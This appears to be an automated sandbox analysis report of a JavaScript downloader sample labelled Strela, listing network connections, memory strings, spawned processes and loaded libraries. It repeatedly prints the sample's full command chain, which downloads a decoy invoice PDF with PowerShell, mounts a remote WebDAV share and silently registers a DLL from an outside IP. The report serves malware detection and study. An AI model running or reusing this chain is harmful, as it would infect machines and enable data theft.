Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2055072902.00000123E9543000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2145076188.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2155680032.000001F03BC3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2155596163.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2145076188.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/_
Source: net.exe, 00000007.00000002.2155596163.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2145076188.000001F03BC18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/o
Source: svchost.exe, 00000009.00000002.3354132718.0000020115E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2145136294.0000020115C60000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4480, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2926013193173129097.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n0nlnw5f.wn3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2926013193173129097.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,5103276727836364045,17374758029892036500,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,5103276727836364045,17374758029892036500,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
